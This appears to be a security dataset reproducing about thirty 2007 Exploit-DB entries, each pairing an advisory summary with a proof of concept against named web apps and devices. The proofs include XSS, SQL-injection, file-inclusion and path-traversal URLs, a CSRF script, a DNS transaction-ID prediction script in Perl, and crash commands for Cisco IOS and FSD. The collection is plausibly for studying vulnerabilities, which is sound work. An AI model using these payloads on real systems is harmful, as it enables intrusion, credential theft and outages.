QLWD/code_shield huggingface dataset:
标题: UMI CMS - 'index.php' Cross-Site Scripting EDB-ID: 30657 CVE: 2007-5428 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/26033/info

UMI CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/search/search_do/?search_string=%22%20onmouseover=%22javacript:alert() URL: https://www.exploit-db.com/exploits/30657
标题: Scott Manktelow Design Stride 1.0 - 'Merchant shop.php' SQL Injection EDB-ID: 30664 CVE: 2007-5430 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/26046/info

Scott Manktelow Design Stride 1.0 Merchant is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/shop.php?cmd=sto&id=[SQL] URL: https://www.exploit-db.com/exploits/30664
标题: CRS Manager - Multiple Remote File Inclusions EDB-ID: 30658 CVE: 2007-5440 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/26034/info

CRS Manager is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/index.php?DOCUMENT_ROOT=shell??
http://www.example.com/login.php?DOCUMENT_ROOT=shell?? URL: https://www.exploit-db.com/exploits/30658
标题: BoastMachine 2.8 - 'index.php' Local File Inclusion EDB-ID: 30656 CVE: 2007-5417 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/26032/info

boastMachine is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

boastMachine 2.8 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/index.php?id=../../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/30656
标题: Scott Manktelow Design Stride 1.0 Courses - 'detail.php' Multiple SQL Injections EDB-ID: 30660 CVE: 2007-5430 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/26036/info

Stride 1.0 Courses is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/detail.php?course=[SQL]
http://www.example.com/detail.php?provider=[SQL] URL: https://www.exploit-db.com/exploits/30660
标题: Joomla! Component Search 1.0.13 - SearchWord Cross-Site Scripting EDB-ID: 30655 CVE: 2007-5427 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/26031/info

The Joomla! Search component is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects Joomla! 1.0.13; other versions may also be vulnerable. 

http://www.example.com/index.php?option=com_search&searchword=';alert('XSS') URL: https://www.exploit-db.com/exploits/30655
标题: Nucleus CMS 3.0.1 - 'index.php' Cross-Site Scripting EDB-ID: 30659 CVE: 2007-5429 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/26035/info

Nucleus CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects Nucleus CMS 3.0.1; other versions may also be vulnerable. 

http://www.example.com/index.php?blogid=1&archive=2007-01-01%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/30659
标题: phpMyAdmin 2.11.1 - 'setup.php' Cross-Site Scripting EDB-ID: 30653 CVE: 2007-5386 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/26020/info

phpMyAdmin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks.

This issue affects phpMyAdmin 2.11.1; other versions may also be vulnerable. 

http://www.example.com/phpMyAdmin-2.11.1/scripts/setup.php?>'"><script>alert('xss');</script> URL: https://www.exploit-db.com/exploits/30653
标题: ActiveKB NX 2.6 - 'index.php' Cross-Site Scripting EDB-ID: 30654 CVE: 2007-5426 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/26027/info

ActiveKB NX is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks.

This issue affects ActiveKB NX 2.6; other versions may also be vulnerable. 

http://www.example.com/ActiveKB/page?=XSS URL: https://www.exploit-db.com/exploits/30654
标题: Cisco IOS 12.3 - 'LPD' Remote Buffer Overflow EDB-ID: 30652 CVE: 2007-5381 类型: REMOTE 平台: HARDWARE 发布日期: 2007-10-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/26001/info

Cisco IOS is prone to a remote buffer-overflow vulnerability in its LPD service because it fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code in the context of the affected component. Attackers could also restart the device, resulting in denial-of-service conditions.

To exploit this issue, an attacker must be able to change the hostname of affected routers. SNMP write access may allow attackers to change the router's hostname.

Versions prior to Cisco IOS 12.2(18)SXF11, 12.4(16a), and 12.4(2)T6 are vulnerable.

This issue is being tracked by Cisco bug ID CSCsj86725.

NOTE: This issue is related to the vulnerabilities described in BID 25994 (Cisco IOS Multiple Unspecified Stack Overflow Vulnerabilities). 

The following command is sufficient to demonstrate changing the hostname of affected devices via SNMP:

snmpset -Os -c private -v 1 10.0.0.1 system.sysName.0 s long_hostname

When the hostname has been changed, issue the following command to demonstrate this issue to crash affected devices:

telnet 10.0.0.1 515 URL: https://www.exploit-db.com/exploits/30652
标题: AlsaPlayer 0.99.x - Vorbis Input Plugin OGG Processing Remote Buffer Overflow EDB-ID: 30648 CVE: 2007-5301 类型: DOS 平台: LINUX 发布日期: 2007-10-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/25969/info

AlsaPlayer is prone to a remote buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it to an insufficiently sized buffer.

Exploiting this issue allows attackers to execute arbitrary machine code in the context of users running the affected application.

This issue affects versions prior to AlsaPlayer 0.99.80-rc3. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30648.ogg URL: https://www.exploit-db.com/exploits/30648
标题: Joomla! Component WebMaster-Tips.net Joomla! RSS Feed Reader 1.0 - Remote File Inclusion EDB-ID: 30651 CVE: 2007-5410 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/25999/info

Webmaster-Tips.net Joomla! RSS Feed Reader is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/administrator/components/com_wmtrssreader/admin.wmtrssreader.php?mosConfig_live_site=sh3ll? URL: https://www.exploit-db.com/exploits/30651
标题: Dawn of Time 1.69 MUD Server - Multiple Format String Vulnerabilities EDB-ID: 30644 CVE: 2007-5265 类型: DOS 平台: MULTIPLE 发布日期: 2007-10-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/25944/info

Dawn of Time MUD server is prone to multiple format-string vulnerabilities.

Exploiting these issues will allow attackers to execute arbitrary code with the permissions of a user running the application. Failed attacks will likely cause denial-of-service conditions.

These issues affect Dawn of Time 1.69s beta4 and 1.69r; other versions may also be affected. 

http://%n%n%n%n%n:%n%n%n%n%n@www.example.com:4001/locked URL: https://www.exploit-db.com/exploits/30644
标题: NetWin DNews - 'Dnewsweb.exe' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30649 CVE: 2007-5370 类型: WEBAPPS 平台: CGI 发布日期: 2007-10-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/25981/info

DNews is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

These issues affect DNews 57e1; other versions may also be affected. 

http://www.example.com/cgi-bin/dnewsweb.exe?cmd=PATH&group=XSS 
http://www.example.com /cgi-bin/dnewsweb.exe?utag=XSS URL: https://www.exploit-db.com/exploits/30649
标题: Microsoft Windows - URI Handler Command Execution EDB-ID: 30645 CVE: 2007-3896 类型: REMOTE 平台: WINDOWS 发布日期: 2007-10-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/25945/info

Microsoft Windows XP and Server 2003 with Internet Explorer 7 is prone to a command-execution vulnerability because it fails to properly sanitize input.

Successfully exploiting this issue allows remote attackers to execute arbitrary commands in the context of users that follow malicious URIs.

Known attack vectors include following URIs in these applications:

- Mozilla Firefox in versions prior to 2.0.0.6
- Skype in versions prior to 3.5.0.239
- Adobe Acrobat Reader 8.1
- Miranda 0.7
- Netscape 7.1
- mIRC.

NOTE: Attackers can exploit the issue in BID 25543 (Mozilla Firefox 2.0.0.6 Unspecified Protocol Handling Command Injection Vulnerability) as an attack vector for this issue. 

The following proof-of-concept URI demonstrates this vulnerability:

http:%xx../../../../../../../../../../../windows/system32/calc.exe".bat
mailto:test% ../../../../windows/system32/calc.exe".cmd URL: https://www.exploit-db.com/exploits/30645
标题: DropTeam 1.3.3 - Multiple Remote Vulnerabilities EDB-ID: 30643 CVE: 2007-5264 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-10-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/25943/info

DropTeam is prone to multiple remote vulnerabilities including multiple format-string issues, a stack-based buffer-overflow issue, multiple heap-based buffer-overflow issues, and an information-disclosure vulnerability.

An attacker could exploit these issues to execute arbitrary code within the context of the affected application, crash the application, and obtain sensitive information.

These issues affect DropTeam 1.3.3; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30643.zip URL: https://www.exploit-db.com/exploits/30643
标题: AfterLogic MailBee WebMail Pro 3.x - 'default.asp?mode2' Cross-Site Scripting EDB-ID: 30642 CVE: 2007-5290 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/25942/info
 
MailBee WebMail Pro is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.
 
These issues affect MailBee WebMail Pro 3.4 and prior versions. 

http://www.example.com/[PATH]/default.asp?mode=advanced_login&mode2=[XSS] URL: https://www.exploit-db.com/exploits/30642
标题: Nagios Plugins 1.4.2/1.4.9 - Location Header Remote Buffer Overflow EDB-ID: 30646 CVE: 2007-5198 类型: DOS 平台: LINUX 发布日期: 2007-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/25952/info

Nagios Plugins are prone to a remote buffer-overflow vulnerability because the software fails to properly bounds-check user-supplied data before copying it to an insufficiently sized buffer.

Exploiting this issue allows attackers to execute arbitrary machine code in the context of users running the affected software.

This issue affects Nagios Plugins 1.4.9; other versions may also be vulnerable. 

Location: htttttttttttttttttttttttttttttttttttttttttttp://example.com/

Location: http://example.com:1234567890123456789012345678901234567890/

Location:
http://tooooooooooooooooooooooooooooooooooooooooooooooooooo.loooooooooooooo
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong.looooooooo
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong.loooo
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong.
loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
oong.looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
ooooooong.loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
oooooooooooong.host-name.example.com/ URL: https://www.exploit-db.com/exploits/30646
标题: Linksys SPA941 - 'SIP From' HTML Injection EDB-ID: 30650 CVE: 2007-5411 类型: REMOTE 平台: HARDWARE 发布日期: 2007-10-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/25987/info

Linksys SPA941 devices are prone to an HTML-injection vulnerability because the built-in webserver fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Linksys SPA941 devices with firmware version 5.1.8 are vulnerable; other versions may also be affected.

INVITE sip:h@192.168.1.3 SIP/2.0
Via: SIP/2.0/UDP 192.168.1.9:5060;rport
To: sip:h@192.168.1.3
From: "<script>alert('hack')</script>""natraj" <sip:natraj@loria.fr>;tag=002f000c
Call-ID: 401010907@192.168.1.9
CSeq: 4857 INVITE
Content-Type: application/sdp
Subject: sip: natraj@loria.fr
Contact: "natraj" <sip:192.168.1.9:5060;transport=udp>
Content-Length: 214

v=0
o=root 47650 47650 IN IP4 192.168.1.9
s=session
c=IN IP4 192.168.1.9
t=0 0
m=audio 5070 RTP/AVP 3 0 110 5
a=rtpmap:3 GSM/8000/1
a=rtpmap:0 PCMU/8000/1
a=rtpmap:110 speex/8000/1
a=rtpmap:5 DVI4/8000/1 URL: https://www.exploit-db.com/exploits/30650
标题: AfterLogic MailBee WebMail Pro 3.x - 'login.php?mode' Cross-Site Scripting EDB-ID: 30641 CVE: 2007-5290 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/25942/info

MailBee WebMail Pro is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.

These issues affect MailBee WebMail Pro 3.4 and prior versions. 

http://www.example.com/[PATH]/login.php?mode=[XSS] URL: https://www.exploit-db.com/exploits/30641
标题: Cart32 6.x - GetImage Arbitrary File Download EDB-ID: 30639 CVE: 2007-5253 类型: WEBAPPS 平台: CGI 发布日期: 2007-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/25928/info

Cart32 is prone to an arbitrary-file-download vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to download arbitrary files within the context of the webserver process. Information obtained may aid in further attacks.

This issue affects Cart32 6.3; prior versions are also vulnerable. 

http://www.example.com/scripts/c32web.exe/GetImage?ImageName=somefile.txt%00.gif
http://www.example.com/scripts/c32web.exe/GetImage?ImageName=somefile.txt%00.jpg
http://www.example.com/scripts/c32web.exe/GetImage?ImageName=somefile.txt%00.pdf
http://www.example.com/scripts/c32web.exe/GetImage?ImageName=somefile.txt%00.png URL: https://www.exploit-db.com/exploits/30639
标题: WordPress Plugin Google FeedBurner FeedSmith 2.2 - Cross-Site Request Forgery EDB-ID: 30637 CVE: 2007-5229 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/25921/info

FeedBurner FeedSmith is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to use a victim's currently active session to perform actions with the application.

This issue affects FeedBurner FeedSmith 2.2; other versions may also be affected. 

// Simple Proof of Concept Exploit for FeedSmith Feedburner CSRF Hijacking
// Tested on version 2.2.

t=&#039;http://www.example.com/wordpress/wp-admin/options-general.php?
    page=FeedBurner_FeedSmith_Plugin.php&#039;;

p=&#039;redirect=true&feedburner_url=http://www.example2.com/with/new/feed&
    feedburner_comments_url=http://www.example3.com/with/new/feed&#039;;

feedburner_csrf = function(t, p) {

        req = new XMLHttpRequest();
        var url = t;
        var params = p;
        req.open("POST", url);

        req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        req.setRequestHeader("Content-length", params.length);
        req.setRequestHeader("Connection", "close");
        req.send(params);

};

feedburner_csrf(t,p); URL: https://www.exploit-db.com/exploits/30637
标题: Content Builder 0.7.5 - 'postComment.php' Remote File Inclusion EDB-ID: 30634 CVE: 2006-3173 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/25914/info

Content*Builder (C*B) is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

C*B 0.7.5 is vulnerable; other versions may also be affected. 

http://www.example.com/libraries/comment/postComment.php?path[cb]=[Shell URL]?a= URL: https://www.exploit-db.com/exploits/30634
标题: DRBGuestbook 1.1.13 - 'index.php' Cross-Site Scripting EDB-ID: 30632 CVE: 2007-5218 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/25911/info

DRBGuestbook is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects DRBGuestbook 1.1.13; other versions may also be vulnerable. 

http://www.example.com/index.php?action=<script>alert("XSS");</script> URL: https://www.exploit-db.com/exploits/30632
标题: FSD 2.052/3.000 - 'servinterface.cc servinterface::sendmulticast' 'PIcallsign' Command Remote Overflow EDB-ID: 30628 CVE: 2007-5256 类型: DOS 平台: WINDOWS 发布日期: 2007-10-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/25883/info
 
FSD is prone to multiple remote buffer-overflow vulnerabilities because the application fails to perform adequate boundary-checks on user-supplied data.
 
An attacker can exploit these issues to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
 
These issues affect FSD 2.052 d9 and 3.0000 d9; other versions may also be affected.
 
A]
connect with nc or telnet to port 3010 (sometimes it can be 3011, but
it's easy to recognize since it shows a "FSD>" prompt) and then send:

HELP aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...(more_than_100_'a's)...aaaa

B]
connect with nc or telnet to port 6809, now you must log in or create a
new user, but seems that all usernames and passwords are available on
port 3011 (or 3012) where they are sent just when you connect:

#AAcallsign::ident:122222:122222:1:9
$PIcallsign:aaaaaaaaaaaaaaaaaaaaaaaaaaaaa...(more_than_100_'a's)...aaaa

(in the above example the first 122222 is the CID and the second one is
the password) URL: https://www.exploit-db.com/exploits/30628
标题: Uebimiau Webmail 2.7.x - 'index.php' Cross-Site Scripting EDB-ID: 30633 CVE: 2007-5235 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/25912/info

UebiMiau is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/index.php?lid=de&tid=modern_blue&f_user=&six=&f_email=[XSS] URL: https://www.exploit-db.com/exploits/30633
标题: Microsoft Windows Server 2000/2003 - Recursive DNS Spoofing (1) EDB-ID: 30635 CVE: 2007-3898 类型: REMOTE 平台: WINDOWS 发布日期: 2007-11-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/25919/info

Microsoft Windows DNS Server is prone to a vulnerability that permits an attacker to spoof responses to DNS requests.

A successful attack will corrupt the DNS cache with attacker-specified content. This may aid in further attacks such as phishing. 

$TRXID=$ARGV[0];
$zero=$TRXID>>14;
if ($zero!=0)
{
 print "Highest two bits are not 0.\n";
print "Is this really Windows DNS server? check endian issues!\n";
 exit(0);
}
$M=($TRXID>>11) & 7;
$C=($TRXID>>3) & 0xFF;
$L=$TRXID & 7;
if (($C % 8)!=7)
{
 print "C mod 8 is not 7 - can't predict next TRXID.\n";
print "Wait for C mod 8 to become 7\n";
 exit(0);
}

print "Next TRXID is one of the following 8 values:\n";
for ($m=0;$m<8;$m++)
{
 print "".(($m<<11)|((($C+1) % 256)<<3))." ";
}
print "\n"; URL: https://www.exploit-db.com/exploits/30635
标题: Ohesa Emlak Portal 1.0 - 'detay.asp?Emlak' SQL Injection EDB-ID: 30626 CVE: 2007-5180 类型: WEBAPPS 平台: ASP 发布日期: 2007-10-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/25880/info
 
Ohesa Emlak Portal is prone to multiple SQL-injection vulnerabilities because it fails to adequately sanitize user-supplied input before using it in an SQL query.
 
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Ohesa Emlak Portal 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/detay.asp?Emlak=[SQL] URL: https://www.exploit-db.com/exploits/30626